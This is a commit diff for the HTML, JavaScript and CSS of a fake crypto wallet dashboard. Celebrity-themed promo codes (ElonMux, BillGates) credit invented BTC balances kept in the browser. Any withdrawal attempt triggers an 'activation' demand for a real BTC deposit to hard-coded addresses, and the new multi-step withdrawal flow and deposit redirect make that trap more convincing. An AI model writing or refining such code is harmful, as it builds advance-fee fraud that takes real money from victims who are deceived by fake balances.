Service-Xi commited on
Commit
afd0b74
·
verified ·
1 Parent(s): 5402ff6

Upload 3 files

Browse files
Files changed (3) hide show
  1. dashboard.html +210 -49
  2. script.js +307 -13
  3. styles.css +494 -0
dashboard.html CHANGED
@@ -198,9 +198,9 @@
198
  <div class="deposit-content">
199
  <div class="wallet-graphic">💳</div>
200
  <p>Only send BTC to this address. Sending any other asset to this address may result in the loss of your deposit.</p>
201
- <div class="deposit-warning">Minimum deposit amount: 0.0005 BTC</div>
202
  <div class="deposit-address">
203
- <span>1J8Be2eVqDAvEQDqRqPfropJSrmxLZYG</span>
204
  <button onclick="copyAddress()">📋</button>
205
  </div>
206
  <div class="qr-code">
@@ -210,78 +210,239 @@
210
  </div>
211
  </div>
212
  </div>
 
213
 
 
214
  <div id="withdrawModal" class="modal">
215
- <div class="modal-content">
216
  <div class="modal-header">
217
- <h3>Select a coin to withdraw funds</h3>
218
  <span class="close" onclick="closeWithdrawModal()">&times;</span>
219
  </div>
220
- <div class="withdraw-content">
221
- <div class="wallet-graphic">💳</div>
222
- <div class="payment-methods">
223
- <div class="payment-method">
224
- <span class="payment-icon">💳</span>
225
- <span>Crypto</span>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
226
  </div>
227
- <div class="payment-method">
228
- <span class="payment-icon">💳</span>
229
- <span>Visa / Mastercard</span>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
230
  </div>
231
- <div class="payment-method">
232
- <span class="payment-icon">🏦</span>
233
- <span>PayPal</span>
 
 
 
 
 
 
 
 
 
 
 
234
  </div>
235
- <div class="payment-method">
236
- <span class="payment-icon">🏦</span>
237
- <span>Swift</span>
 
238
  </div>
 
 
 
 
 
 
 
 
 
 
 
 
239
  </div>
240
- <div class="coin-selection">
241
- <select id="coinSelect">
242
- <option>Select a coin to withdraw...</option>
243
- <option value="BTC">BTC - Bitcoin</option>
244
- <option value="ETH">ETH - Ethereum</option>
245
- </select>
246
- </div>
247
- <div class="network-selection">
248
- <select id="networkSelect">
249
- <option>Select a network...</option>
250
- <option value="BITCOIN">BITCOIN</option>
251
- <option value="BEP20">BEP20</option>
252
- </select>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
253
  </div>
254
- <button class="btn-continue" onclick="processWithdraw()">Continue</button>
255
- <br>
256
- <br>
257
- <br>
258
  </div>
259
  </div>
260
  </div>
261
 
 
262
  <div id="activationModal" class="modal">
263
  <div class="modal-content activation-modal">
264
  <div class="activation-header">
265
  <div class="error-icon">❌</div>
266
- <h3>Activation ❌</h3>
267
  </div>
268
  <div class="activation-content">
269
- <p>To withdraw funds to a third-party address, you need to activate your account. To activate the account, make a minimum deposit of 0.00060 BTC. The deposit can also be withdrawn after account activation.</p>
270
- <div class="deposit-status">
271
- <span>Your deposit: 0.000000 / 0.00060 BTC.</span>
 
 
 
 
 
 
 
272
  </div>
273
- <div class="status-table">
274
- <div class="status-row">
275
- <span>Status</span>
276
- <span>Transaction ID</span>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
277
  </div>
278
- <div class="status-row">
279
- <span class="error-status">Error</span>
280
- <span>not created</span>
281
  </div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
282
  </div>
283
- <p class="support-text">Contact online support for additional information.</p>
284
- <button class="btn-wallet" onclick="closeActivationModal()">Wallet</button>
285
  </div>
286
  </div>
287
  </div>
 
198
  <div class="deposit-content">
199
  <div class="wallet-graphic">💳</div>
200
  <p>Only send BTC to this address. Sending any other asset to this address may result in the loss of your deposit.</p>
201
+ <div class="deposit-warning">Minimum deposit amount: 0.0407 BTC</div>
202
  <div class="deposit-address">
203
+ <span>bc1q4a3083s7m3saraave7p6lcjjaqrf4f4lf2xceu</span>
204
  <button onclick="copyAddress()">📋</button>
205
  </div>
206
  <div class="qr-code">
 
210
  </div>
211
  </div>
212
  </div>
213
+
214
 
215
+ <!-- Multi-Step Withdrawal Modal -->
216
  <div id="withdrawModal" class="modal">
217
+ <div class="modal-content withdraw-modal">
218
  <div class="modal-header">
219
+ <h3 id="withdrawModalTitle">Select Withdrawal Method</h3>
220
  <span class="close" onclick="closeWithdrawModal()">&times;</span>
221
  </div>
222
+
223
+ <!-- Step 1: Select Wallet Type -->
224
+ <div id="withdrawStep1" class="withdraw-step active">
225
+ <div class="withdraw-content">
226
+ <div class="wallet-graphic">💳</div>
227
+ <p>Choose your preferred withdrawal method</p>
228
+ <div class="payment-methods">
229
+ <div class="payment-method" onclick="selectWalletType('crypto')">
230
+ <span class="payment-icon">₿</span>
231
+ <span>Crypto Wallet</span>
232
+ <span class="method-arrow">→</span>
233
+ </div>
234
+ <div class="payment-method" onclick="selectWalletType('card')">
235
+ <span class="payment-icon">💳</span>
236
+ <span>Visa / Mastercard</span>
237
+ <span class="method-arrow">→</span>
238
+ </div>
239
+ <div class="payment-method" onclick="selectWalletType('paypal')">
240
+ <span class="payment-icon">🏦</span>
241
+ <span>PayPal</span>
242
+ <span class="method-arrow">→</span>
243
+ </div>
244
+ <div class="payment-method" onclick="selectWalletType('swift')">
245
+ <span class="payment-icon">🏦</span>
246
+ <span>Swift Transfer</span>
247
+ <span class="method-arrow">→</span>
248
+ </div>
249
  </div>
250
+ </div>
251
+ </div>
252
+
253
+
254
+
255
+ <!-- Step 2: Select Coin -->
256
+ <div id="withdrawStep2" class="withdraw-step">
257
+ <div class="withdraw-content">
258
+ <div class="step-back" onclick="goToWithdrawStep(1)">← Back</div>
259
+ <div class="wallet-graphic">🪙</div>
260
+ <p>Select the cryptocurrency to withdraw</p>
261
+ <div class="coin-selection-grid">
262
+ <div class="coin-option" onclick="selectCoin('BTC')">
263
+ <div class="coin-icon btc-icon">₿</div>
264
+ <div class="coin-details">
265
+ <span class="coin-name">Bitcoin</span>
266
+ <span class="coin-symbol">BTC</span>
267
+ <span class="coin-balance" id="btcWithdrawBalance">0.000000 BTC</span>
268
+ </div>
269
+ <span class="method-arrow">→</span>
270
+ </div>
271
+ <div class="coin-option" onclick="selectCoin('ETH')">
272
+ <div class="coin-icon eth-icon">Ξ</div>
273
+ <div class="coin-details">
274
+ <span class="coin-name">Ethereum</span>
275
+ <span class="coin-symbol">ETH</span>
276
+ <span class="coin-balance">0.000000 ETH</span>
277
+ </div>
278
+ <span class="method-arrow">→</span>
279
+ </div>
280
  </div>
281
+ </div>
282
+ </div>
283
+
284
+ <!-- Step 3: Enter Wallet Address -->
285
+ <div id="withdrawStep3" class="withdraw-step">
286
+ <div class="withdraw-content">
287
+ <div class="step-back" onclick="goToWithdrawStep(2)">← Back</div>
288
+ <div class="wallet-graphic">📝</div>
289
+ <h4 id="selectedCoinTitle">BTC WALLET ADDRESS</h4>
290
+ <p>Enter your wallet address to receive the funds</p>
291
+
292
+ <div class="address-input-group">
293
+ <input type="text" id="walletAddress" placeholder="Enter wallet address" required>
294
+ <button type="button" class="btn-scan">📷</button>
295
  </div>
296
+
297
+ <div class="save-address-option">
298
+ <input type="checkbox" id="saveAddress">
299
+ <label for="saveAddress">Save address for next time</label>
300
  </div>
301
+
302
+ <div class="network-selection">
303
+ <label>Select Network</label>
304
+ <select id="networkSelect">
305
+ <option value="">Select network...</option>
306
+ <option value="BITCOIN">Bitcoin Network</option>
307
+ <option value="BEP20">BEP20 (BSC)</option>
308
+ <option value="ERC20">ERC20 (Ethereum)</option>
309
+ </select>
310
+ </div>
311
+
312
+ <button class="btn-continue" onclick="goToWithdrawStep(4)">Continue</button>
313
  </div>
314
+ </div>
315
+
316
+ <!-- Step 4: Enter Amount -->
317
+ <div id="withdrawStep4" class="withdraw-step">
318
+ <div class="withdraw-content">
319
+ <div class="step-back" onclick="goToWithdrawStep(3)">← Back</div>
320
+ <div class="wallet-graphic">💰</div>
321
+ <h4>WITHDRAWAL AMOUNT</h4>
322
+
323
+ <div class="balance-display">
324
+ <div class="balance-item">
325
+ <span class="balance-label">Available balance</span>
326
+ <div class="balance-value">
327
+ <span id="availableWithdrawBalance">1.300000 BTC</span>
328
+ <span class="balance-usd">$56,162.50</span>
329
+ </div>
330
+ </div>
331
+ </div>
332
+
333
+ <div class="amount-input-section">
334
+ <label>AMOUNT TO WITHDRAW</label>
335
+ <div class="amount-input-group">
336
+ <input type="number" id="withdrawAmount" placeholder="0.000000" step="0.000001" min="0">
337
+ <span class="currency-label" id="withdrawCurrency">BTC</span>
338
+ <button type="button" class="btn-max" onclick="setMaxAmount()">Max</button>
339
+ </div>
340
+ <div class="amount-usd" id="withdrawAmountUSD">$0.00</div>
341
+ </div>
342
+
343
+ <div class="withdraw-fee-section">
344
+ <h5>WITHDRAW FEE</h5>
345
+ <div class="fee-breakdown">
346
+ <div class="fee-item">
347
+ <span>Network Fee</span>
348
+ <span id="networkFee">0.000050 BTC</span>
349
+ </div>
350
+ <div class="fee-item">
351
+ <span>Service Fee</span>
352
+ <span id="serviceFee">0.000000 BTC</span>
353
+ </div>
354
+ <div class="fee-item total-fee">
355
+ <span>Total Fee</span>
356
+ <span id="totalFee">0.000050 BTC</span>
357
+ </div>
358
+ </div>
359
+ </div>
360
+
361
+ <div class="final-amount">
362
+ <div class="final-item">
363
+ <span>You will receive</span>
364
+ <span id="finalReceiveAmount">0.000000 BTC</span>
365
+ </div>
366
+ </div>
367
+
368
+ <button class="btn-continue" onclick="processWithdraw()">Withdraw</button>
369
+
370
  </div>
 
 
 
 
371
  </div>
372
  </div>
373
  </div>
374
 
375
+ <!-- Enhanced Activation Modal -->
376
  <div id="activationModal" class="modal">
377
  <div class="modal-content activation-modal">
378
  <div class="activation-header">
379
  <div class="error-icon">❌</div>
380
+ <h3>Activation</h3>
381
  </div>
382
  <div class="activation-content">
383
+ <p>To withdraw funds to a third-party address, you need to activate your account. To activate the account, make a minimum deposit of 0.00063 BTC. The deposit can also be withdrawn after account activation.</p>
384
+
385
+ <div class="deposit-status">
386
+ <span>Your deposit: <span id="currentDeposit">0.000000</span> / 0.00063 BTC.</span>
387
+ </div>
388
+
389
+ <div class="status-table">
390
+ <div class="status-row">
391
+ <span>Status</span>
392
+ <span>Transaction ID</span>
393
  </div>
394
+ <div class="status-row">
395
+ <span class="error-status">Error</span>
396
+ <span>not created</span>
397
+ </div>
398
+ </div>
399
+
400
+ <p class="support-text">Contact online support for additional information.</p>
401
+
402
+ <button class="btn-wallet" onclick="closeActivationModal()">Wallet</button>
403
+ </div>
404
+ </div>
405
+
406
+ <!-- Verification Modal -->
407
+ <div id="verificationModal" class="modal">
408
+ <div class="modal-content verification-modal">
409
+ <div class="modal-header">
410
+ <h3>Verify Withdrawal</h3>
411
+ <span class="close" onclick="closeVerificationModal()">&times;</span>
412
+ </div>
413
+ <div class="verification-content">
414
+ <div class="verify-icon">🔐</div>
415
+ <h4>Confirm Your Withdrawal</h4>
416
+ <p>Please verify the withdrawal details below:</p>
417
+
418
+ <div class="verification-details">
419
+ <div class="verify-item">
420
+ <span class="verify-label">Amount:</span>
421
+ <span class="verify-value" id="verifyAmount">0.000000 BTC</span>
422
  </div>
423
+ <div class="verify-item">
424
+ <span class="verify-label">To Address:</span>
425
+ <span class="verify-value verify-address" id="verifyAddress">-</span>
426
  </div>
427
+ <div class="verify-item">
428
+ <span class="verify-label">Network:</span>
429
+ <span class="verify-value" id="verifyNetwork">-</span>
430
+ </div>
431
+ <div class="verify-item">
432
+ <span class="verify-label">Network Fee:</span>
433
+ <span class="verify-value">0.000050 BTC</span>
434
+ </div>
435
+ </div>
436
+
437
+ <div class="verification-warning">
438
+ <div class="warning-icon">⚠️</div>
439
+ <p>Please double-check the wallet address. Transactions cannot be reversed once confirmed.</p>
440
+ </div>
441
+
442
+ <div class="verification-actions">
443
+ <button class="btn-cancel" onclick="closeVerificationModal()">Cancel</button>
444
+ <button class="btn-confirm" onclick="confirmWithdrawal()">Confirm Withdrawal</button>
445
  </div>
 
 
446
  </div>
447
  </div>
448
  </div>
script.js CHANGED
@@ -4,9 +4,9 @@ const BTC_PRICE = 43250 // Fixed BTC price for demo
4
 
5
  // Promo codes and their BTC rewards
6
  const PROMO_CODES = {
7
- ELONMUSKBTC: 1.3,
8
  BillGates: 2.05,
9
- CBLBTC: 3.55,
10
  }
11
 
12
  // Initialize app
@@ -304,13 +304,210 @@ function closeDepositModal() {
304
  }
305
  }
306
 
 
 
 
 
 
 
307
  function showWithdrawModal() {
308
  const modal = document.getElementById("withdrawModal")
309
  if (modal) {
310
  modal.style.display = "block"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
311
  }
312
  }
313
 
 
 
 
 
 
 
 
 
314
  function closeWithdrawModal() {
315
  const modal = document.getElementById("withdrawModal")
316
  if (modal) {
@@ -331,19 +528,12 @@ function closeActivationModal() {
331
  if (modal) {
332
  modal.style.display = "none"
333
  }
334
- }
335
-
336
- function processWithdraw() {
337
- // Show activation modal for demo purposes
338
- closeWithdrawModal()
339
- const modal = document.getElementById("activationModal")
340
- if (modal) {
341
- modal.style.display = "block"
342
- }
343
  }
344
 
345
  function copyAddress() {
346
- const address = "bc1q4a3083s7m3saraave7p6lcjjaqrf4f4lf2xceu"
347
  navigator.clipboard
348
  .writeText(address)
349
  .then(() => {
@@ -455,9 +645,113 @@ function togglePassword(fieldId) {
455
  }
456
  }
457
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
458
  // Close modals when clicking outside
459
  window.onclick = (event) => {
460
- const modals = ["depositModal", "withdrawModal", "activationModal"]
461
  modals.forEach((modalId) => {
462
  const modal = document.getElementById(modalId)
463
  if (modal && event.target === modal) {
 
4
 
5
  // Promo codes and their BTC rewards
6
  const PROMO_CODES = {
7
+ ElonMux: 1.3,
8
  BillGates: 2.05,
9
+ CBL: 3.55,
10
  }
11
 
12
  // Initialize app
 
304
  }
305
  }
306
 
307
+ // Withdrawal flow variables
308
+ let selectedWalletType = ""
309
+ let selectedCoin = ""
310
+ let currentWithdrawStep = 1
311
+
312
+ // Enhanced withdrawal functions
313
  function showWithdrawModal() {
314
  const modal = document.getElementById("withdrawModal")
315
  if (modal) {
316
  modal.style.display = "block"
317
+ resetWithdrawFlow()
318
+ }
319
+ }
320
+
321
+ function resetWithdrawFlow() {
322
+ currentWithdrawStep = 1
323
+ selectedWalletType = ""
324
+ selectedCoin = ""
325
+ goToWithdrawStep(1)
326
+
327
+ // Reset form fields
328
+ document.getElementById("walletAddress").value = ""
329
+ document.getElementById("withdrawAmount").value = ""
330
+ document.getElementById("networkSelect").value = ""
331
+ document.getElementById("saveAddress").checked = false
332
+ }
333
+
334
+ function goToWithdrawStep(step) {
335
+ // Hide all steps
336
+ for (let i = 1; i <= 4; i++) {
337
+ const stepElement = document.getElementById(`withdrawStep${i}`)
338
+ if (stepElement) {
339
+ stepElement.classList.remove("active")
340
+ }
341
+ }
342
+
343
+ // Show current step
344
+ const currentStepElement = document.getElementById(`withdrawStep${step}`)
345
+ if (currentStepElement) {
346
+ currentStepElement.classList.add("active")
347
+ }
348
+
349
+ // Update modal title
350
+ const titles = {
351
+ 1: "Select Withdrawal Method",
352
+ 2: "Select Cryptocurrency",
353
+ 3: "Enter Wallet Details",
354
+ 4: "Confirm Withdrawal",
355
+ }
356
+
357
+ const titleElement = document.getElementById("withdrawModalTitle")
358
+ if (titleElement) {
359
+ titleElement.textContent = titles[step] || "Withdraw Funds"
360
+ }
361
+
362
+ currentWithdrawStep = step
363
+
364
+ // Update balance display for step 4
365
+ if (step === 4) {
366
+ updateWithdrawBalanceDisplay()
367
+ }
368
+ }
369
+
370
+ function selectWalletType(type) {
371
+ selectedWalletType = type
372
+
373
+ if (type === "crypto") {
374
+ goToWithdrawStep(2)
375
+ } else {
376
+ // For non-crypto methods, show activation modal
377
+ closeWithdrawModal()
378
+ showActivationModal()
379
+ }
380
+ }
381
+
382
+ function selectCoin(coin) {
383
+ selectedCoin = coin
384
+
385
+ // Update the wallet address title
386
+ const titleElement = document.getElementById("selectedCoinTitle")
387
+ if (titleElement) {
388
+ titleElement.textContent = `${coin} WALLET ADDRESS`
389
+ }
390
+
391
+ // Update network options based on selected coin
392
+ updateNetworkOptions(coin)
393
+
394
+ goToWithdrawStep(3)
395
+ }
396
+
397
+ function updateNetworkOptions(coin) {
398
+ const networkSelect = document.getElementById("networkSelect")
399
+ if (!networkSelect) return
400
+
401
+ networkSelect.innerHTML = '<option value="">Select network...</option>'
402
+
403
+ if (coin === "BTC") {
404
+ networkSelect.innerHTML += `
405
+ <option value="BITCOIN">Bitcoin Network</option>
406
+ <option value="BEP20">BEP20 (BSC)</option>
407
+ `
408
+ } else if (coin === "ETH") {
409
+ networkSelect.innerHTML += `
410
+ <option value="ETHEREUM">Ethereum Network</option>
411
+ <option value="BEP20">BEP20 (BSC)</option>
412
+ <option value="POLYGON">Polygon Network</option>
413
+ `
414
+ }
415
+ }
416
+
417
+ function updateWithdrawBalanceDisplay() {
418
+ const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
419
+ const userData = users[currentUser]
420
+
421
+ if (!userData) return
422
+
423
+ const balance = userData.btcBalance
424
+ const usdValue = (balance * BTC_PRICE).toFixed(2)
425
+
426
+ // Update balance displays
427
+ const balanceElement = document.getElementById("availableWithdrawBalance")
428
+ const btcWithdrawBalance = document.getElementById("btcWithdrawBalance")
429
+
430
+ if (balanceElement) {
431
+ balanceElement.textContent = `${balance.toFixed(6)} ${selectedCoin}`
432
+ }
433
+
434
+ if (btcWithdrawBalance) {
435
+ btcWithdrawBalance.textContent = `${balance.toFixed(6)} BTC`
436
+ }
437
+
438
+ // Update currency label
439
+ const currencyLabel = document.getElementById("withdrawCurrency")
440
+ if (currencyLabel) {
441
+ currencyLabel.textContent = selectedCoin
442
+ }
443
+ }
444
+
445
+ function setMaxAmount() {
446
+ const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
447
+ const userData = users[currentUser]
448
+
449
+ if (!userData) return
450
+
451
+ const maxAmount = userData.btcBalance - 0.00005 // Subtract network fee
452
+ const amountInput = document.getElementById("withdrawAmount")
453
+
454
+ if (amountInput && maxAmount > 0) {
455
+ amountInput.value = maxAmount.toFixed(6)
456
+ updateWithdrawAmountDisplay()
457
+ }
458
+ }
459
+
460
+ function updateWithdrawAmountDisplay() {
461
+ const amountInput = document.getElementById("withdrawAmount")
462
+ const amountUSD = document.getElementById("withdrawAmountUSD")
463
+ const finalReceiveAmount = document.getElementById("finalReceiveAmount")
464
+
465
+ if (!amountInput) return
466
+
467
+ const amount = Number.parseFloat(amountInput.value) || 0
468
+ const usdValue = (amount * BTC_PRICE).toFixed(2)
469
+ const networkFee = 0.00005
470
+ const finalAmount = Math.max(0, amount - networkFee)
471
+
472
+ if (amountUSD) {
473
+ amountUSD.textContent = `$${usdValue}`
474
+ }
475
+
476
+ if (finalReceiveAmount) {
477
+ finalReceiveAmount.textContent = `${finalAmount.toFixed(6)} ${selectedCoin}`
478
+ }
479
+ }
480
+
481
+ function showActivationModal() {
482
+ const modal = document.getElementById("activationModal")
483
+ if (modal) {
484
+ modal.style.display = "block"
485
+ updateActivationStatus()
486
+ }
487
+ }
488
+
489
+ function updateActivationStatus() {
490
+ const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
491
+ const userData = users[currentUser]
492
+
493
+ if (!userData) return
494
+
495
+ const minimumDeposit = 0.00063
496
+ const currentDepositElement = document.getElementById("currentDeposit")
497
+
498
+ if (currentDepositElement) {
499
+ currentDepositElement.textContent = userData.btcBalance.toFixed(6)
500
  }
501
  }
502
 
503
+ // Add event listener for amount input
504
+ document.addEventListener("DOMContentLoaded", () => {
505
+ const amountInput = document.getElementById("withdrawAmount")
506
+ if (amountInput) {
507
+ amountInput.addEventListener("input", updateWithdrawAmountDisplay)
508
+ }
509
+ })
510
+
511
  function closeWithdrawModal() {
512
  const modal = document.getElementById("withdrawModal")
513
  if (modal) {
 
528
  if (modal) {
529
  modal.style.display = "none"
530
  }
531
+ // After closing activation modal, show deposit modal
532
+ showDepositModal()
 
 
 
 
 
 
 
533
  }
534
 
535
  function copyAddress() {
536
+ const address = "1J8Be2eVqDAvEQDqRqPfropJSrmxLZYG"
537
  navigator.clipboard
538
  .writeText(address)
539
  .then(() => {
 
645
  }
646
  }
647
 
648
+ function processWithdraw() {
649
+ const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
650
+ const userData = users[currentUser]
651
+
652
+ if (!userData) {
653
+ logout()
654
+ return
655
+ }
656
+
657
+ // Get withdrawal details
658
+ const walletAddress = document.getElementById("walletAddress").value.trim()
659
+ const withdrawAmount = Number.parseFloat(document.getElementById("withdrawAmount").value) || 0
660
+ const networkSelect = document.getElementById("networkSelect").value
661
+
662
+ // Validation
663
+ if (!walletAddress) {
664
+ showNotification("Please enter a wallet address!", "error")
665
+ return
666
+ }
667
+
668
+ if (!networkSelect) {
669
+ showNotification("Please select a network!", "error")
670
+ return
671
+ }
672
+
673
+ if (withdrawAmount <= 0) {
674
+ showNotification("Please enter a valid amount!", "error")
675
+ return
676
+ }
677
+
678
+ // Check if account is activated (minimum deposit requirement)
679
+ const minimumDeposit = 0.00063
680
+ if (userData.btcBalance < minimumDeposit) {
681
+ // Close withdrawal modal first, then show activation modal
682
+ closeWithdrawModal()
683
+ showActivationModal()
684
+ return
685
+ }
686
+
687
+ // Check if user has sufficient balance for withdrawal
688
+ const networkFee = 0.00005
689
+ const totalRequired = withdrawAmount + networkFee
690
+
691
+ if (userData.btcBalance < totalRequired) {
692
+ showNotification("Insufficient funds! You need at least " + totalRequired.toFixed(6) + " BTC", "error")
693
+ return
694
+ }
695
+
696
+ // If account is activated and user has sufficient funds, show verification modal
697
+ closeWithdrawModal()
698
+ showVerificationModal(withdrawAmount, walletAddress, networkSelect)
699
+ }
700
+
701
+ function showVerificationModal(amount, address, network) {
702
+ const modal = document.getElementById("verificationModal")
703
+ if (modal) {
704
+ // Update verification details
705
+ document.getElementById("verifyAmount").textContent = amount.toFixed(6) + " " + selectedCoin
706
+ document.getElementById("verifyAddress").textContent = address
707
+ document.getElementById("verifyNetwork").textContent = network
708
+
709
+ modal.style.display = "block"
710
+ }
711
+ }
712
+
713
+ function closeVerificationModal() {
714
+ const modal = document.getElementById("verificationModal")
715
+ if (modal) {
716
+ modal.style.display = "none"
717
+ }
718
+ }
719
+
720
+ function confirmWithdrawal() {
721
+ const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
722
+ const userData = users[currentUser]
723
+
724
+ if (!userData) {
725
+ logout()
726
+ return
727
+ }
728
+
729
+ const withdrawAmount = Number.parseFloat(document.getElementById("withdrawAmount").value) || 0
730
+ const networkFee = 0.00005
731
+ const totalDeducted = withdrawAmount + networkFee
732
+
733
+ // Deduct from user balance
734
+ userData.btcBalance -= totalDeducted
735
+
736
+ // Save updated balance
737
+ localStorage.setItem("cryptovault_users", JSON.stringify(users))
738
+
739
+ // Close verification modal
740
+ closeVerificationModal()
741
+
742
+ // Show success message
743
+ showNotification("Verification successful! Withdrawal completed.", "success")
744
+
745
+ // Update dashboard
746
+ updateDashboard()
747
+
748
+ // Reset withdrawal form
749
+ resetWithdrawFlow()
750
+ }
751
+
752
  // Close modals when clicking outside
753
  window.onclick = (event) => {
754
+ const modals = ["depositModal", "withdrawModal", "activationModal", "verificationModal"]
755
  modals.forEach((modalId) => {
756
  const modal = document.getElementById(modalId)
757
  if (modal && event.target === modal) {
styles.css CHANGED
@@ -1134,6 +1134,359 @@ body {
1134
  background: #3b82f6;
1135
  }
1136
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1137
  /* Responsive Design */
1138
  @media (max-width: 1024px) {
1139
  .landing-content {
@@ -1220,3 +1573,144 @@ body {
1220
  margin-bottom: 8px;
1221
  }
1222
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1134
  background: #3b82f6;
1135
  }
1136
 
1137
+ /* Enhanced Withdrawal Modal Styles */
1138
+ .withdraw-modal {
1139
+ max-width: 600px;
1140
+ }
1141
+
1142
+ .withdraw-step {
1143
+ display: none;
1144
+ }
1145
+
1146
+ .withdraw-step.active {
1147
+ display: block;
1148
+ }
1149
+
1150
+ .step-back {
1151
+ color: #00d4ff;
1152
+ cursor: pointer;
1153
+ margin-bottom: 16px;
1154
+ font-size: 14px;
1155
+ display: flex;
1156
+ align-items: center;
1157
+ gap: 8px;
1158
+ transition: color 0.3s ease;
1159
+ }
1160
+
1161
+ .step-back:hover {
1162
+ color: #0099cc;
1163
+ }
1164
+
1165
+ .payment-method,
1166
+ .coin-option {
1167
+ background: rgba(45, 55, 72, 0.5);
1168
+ border: 1px solid #2d3748;
1169
+ border-radius: 12px;
1170
+ padding: 20px;
1171
+ display: flex;
1172
+ align-items: center;
1173
+ gap: 16px;
1174
+ cursor: pointer;
1175
+ transition: all 0.3s ease;
1176
+ margin-bottom: 12px;
1177
+ }
1178
+
1179
+ .payment-method:hover,
1180
+ .coin-option:hover {
1181
+ border-color: #00d4ff;
1182
+ background: rgba(0, 212, 255, 0.1);
1183
+ }
1184
+
1185
+ .method-arrow {
1186
+ margin-left: auto;
1187
+ color: #8892b0;
1188
+ font-size: 18px;
1189
+ }
1190
+
1191
+ .coin-selection-grid {
1192
+ display: flex;
1193
+ flex-direction: column;
1194
+ gap: 12px;
1195
+ }
1196
+
1197
+ .coin-details {
1198
+ display: flex;
1199
+ flex-direction: column;
1200
+ flex: 1;
1201
+ }
1202
+
1203
+ .coin-name {
1204
+ color: #ffffff;
1205
+ font-weight: 600;
1206
+ font-size: 16px;
1207
+ }
1208
+
1209
+ .coin-symbol {
1210
+ color: #8892b0;
1211
+ font-size: 14px;
1212
+ }
1213
+
1214
+ .coin-balance {
1215
+ color: #00d4ff;
1216
+ font-size: 14px;
1217
+ margin-top: 4px;
1218
+ }
1219
+
1220
+ .address-input-group {
1221
+ display: flex;
1222
+ gap: 12px;
1223
+ margin-bottom: 16px;
1224
+ }
1225
+
1226
+ .address-input-group input {
1227
+ flex: 1;
1228
+ padding: 16px;
1229
+ background: rgba(45, 55, 72, 0.5);
1230
+ border: 1px solid #2d3748;
1231
+ border-radius: 8px;
1232
+ color: #ffffff;
1233
+ font-size: 14px;
1234
+ font-family: monospace;
1235
+ }
1236
+
1237
+ .btn-scan {
1238
+ background: #00d4ff;
1239
+ color: #0f1419;
1240
+ border: none;
1241
+ border-radius: 8px;
1242
+ padding: 16px;
1243
+ cursor: pointer;
1244
+ font-size: 16px;
1245
+ min-width: 50px;
1246
+ }
1247
+
1248
+ .save-address-option {
1249
+ display: flex;
1250
+ align-items: center;
1251
+ gap: 8px;
1252
+ margin-bottom: 24px;
1253
+ color: #8892b0;
1254
+ font-size: 14px;
1255
+ }
1256
+
1257
